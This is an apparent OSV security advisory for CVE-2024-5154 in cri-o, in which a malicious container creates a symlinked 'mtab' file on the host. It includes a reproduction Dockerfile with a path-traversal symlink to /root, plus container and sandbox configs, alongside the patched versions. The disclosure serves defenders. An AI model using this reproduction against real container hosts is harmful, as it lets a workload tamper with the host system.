---
id: CVE-2024-5154
aliases:
  - GHSA-j9hf-98c3-wrm8
  - GO-2024-2919
title: malicious container creates symlink "mtab" on the host External
summary: malicious container creates symlink "mtab" on the host External
severity: high
cvss: 8.1
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N'
vendor: cri-o
product: github.com/cri-o/cri-o
ecosystem: go
affected:
  - 'github.com/cri-o/cri-o >= 1.28.6, < 1.28.7'
  - 'github.com/cri-o/cri-o >= 1.29.4, < 1.29.5'
  - 'github.com/cri-o/cri-o >= 1.30.0, < 1.30.1'
patched:
  - github.com/cri-o/cri-o 1.28.7
  - github.com/cri-o/cri-o 1.29.5
  - github.com/cri-o/cri-o 1.30.1
published: '2024-06-04'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-j9hf-98c3-wrm8'
references:
  - url: 'https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2024-5154'
  - url: 'https://access.redhat.com/errata/RHSA-2024:10818'
  - url: 'https://access.redhat.com/errata/RHSA-2024:3676'
  - url: 'https://access.redhat.com/errata/RHSA-2024:3700'
  - url: 'https://access.redhat.com/errata/RHSA-2024:4008'
  - url: 'https://access.redhat.com/errata/RHSA-2024:4159'
  - url: 'https://access.redhat.com/errata/RHSA-2024:4486'
  - url: 'https://access.redhat.com/security/cve/CVE-2024-5154'
  - url: 'https://bugzilla.redhat.com/show_bug.cgi?id=2280190'
  - url: 'https://github.com/cri-o/cri-o'
  - url: 'https://pkg.go.dev/vuln/GO-2024-2919'
tags:
  - osv
  - go
epss: 0.01237
epssPercentile: 0.67792
ingestedAt: '2026-07-09T18:56:36.572Z'
---

## Overview

### Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:
```
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

```

and this container config:

```
{
  "metadata": {
      "name": "busybox"
  },
  "image":{
      "image": "localhost/test"
  },
  "command": [
      "/bin/true"
  ],
  "linux": {
  }
}


```
and this sandbox config  
```
{
  "metadata": {
    "name": "test-sandbox",
    "namespace": "default",
    "attempt": 1,
    "uid": "edishd83djaideaduwk28bcsb"
  },
  "linux": {
    "security_context": {
      "namespace_options": {
        "network": 2
      }
    }
  }
}

```

will create a file on host `/host/mtab`

### Patches
1.30.1, 1.29.5, 1.28.7

### Workarounds
Unfortunately not

### References
_Are there any links users can visit to find out more?_

## Affected packages

- `github.com/cri-o/cri-o >= 1.28.6, < 1.28.7`
- `github.com/cri-o/cri-o >= 1.29.4, < 1.29.5`
- `github.com/cri-o/cri-o >= 1.30.0, < 1.30.1`

## Remediation

Upgrade to a patched release:

- `github.com/cri-o/cri-o 1.28.7`
- `github.com/cri-o/cri-o 1.29.5`
- `github.com/cri-o/cri-o 1.30.1`
